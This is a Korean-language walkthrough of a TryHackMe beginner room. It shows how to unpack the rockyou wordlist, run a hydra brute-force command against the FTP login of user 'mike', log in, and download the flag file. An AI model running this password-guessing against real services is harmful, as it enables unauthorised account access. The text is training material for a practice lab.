사용 중인 시스템에 따라 파일 경로가 다를 수 있습니다. 또한 브라우저 기반 Kali 시스템을 사용하는 경우 추가 단계를 수행해야 합니다. Kali 머신에서는 단어 목록이 GZ 파일로 압축됩니다. 압축을 풀어야 합니다. 터미널에 gunzip -d /root/Desktop/wordlists/rockyou.txt.gz
입력하세요. 잠시 후 필요한 압축되지 않은 파일을 갖게 됩니다.
올바른 비밀번호를 찾으려면 hydra -t 4 -l mike -P {Your File Path to rockyou.txt} -vV {Your Active Machine IP} ftp
입력하십시오.
모든 것이 성공했다면 목록의 마지막 항목으로 비밀번호가 표시되어야 합니다.
사용자 "mike"의 비밀번호는 무엇입니까?
hydra의 출력에서 이를 찾을 수 있습니다.
질문 2
빙고! 이제 "ftp [IP]"를 사용하고 메시지가 나타나면 자격 증명을 입력하여 이 사용자로 FTP 서버에 연결해 보겠습니다.
이제 새로 찾은 자격 증명을 사용하여 로그인하겠습니다.
ftp {Your Active Machine IP Address}
입력합니다. 그런 다음 사용자 이름으로 mike
입력하고 비밀번호로 이전 질문의 답변을 입력합니다. 이제 ftp>
프롬프트가 나타납니다.
답변이 필요하지 않습니다. 완료를 클릭하세요.
질문 3
ls
사용하여 디렉터리의 내용을 확인하세요. 여기에 두 개의 파일이 있습니다. .txt 파일은 아마도 사람이 읽을 수 있는 파일일 것입니다. get
명령을 사용하여 시스템에 다운로드합니다. 이제 이 작업을 몇 번 수행했으므로 파일을 찾고 해당 내용을 볼 수 있습니다. 어려움을 겪는 경우 위로 스크롤하여 다른 작업의 지침을 찾을 수 있습니다.
ftp.txt는 무엇입니까?
축하해요! 세 번째 깃발을 점령하고 방의 활동 부분을 완료했습니다! 정말 잘했어요!
이 작업에서는 관련 주제에 대해 더 자세히 읽을 수 있도록 확인할 수 있는 몇 가지 장소를 제공합니다.
답변이 필요하지 않습니다. 완료를 클릭합니다.
이 방을 잘 통과했어요. 처음에는 겁이 났을 수도 있고 쉬웠을 수도 있지만 해냈습니다.
이 방을 만든 Polomints와 이 훌륭한 사이트를 구성한 TryHackMe에 큰 감사를 드립니다.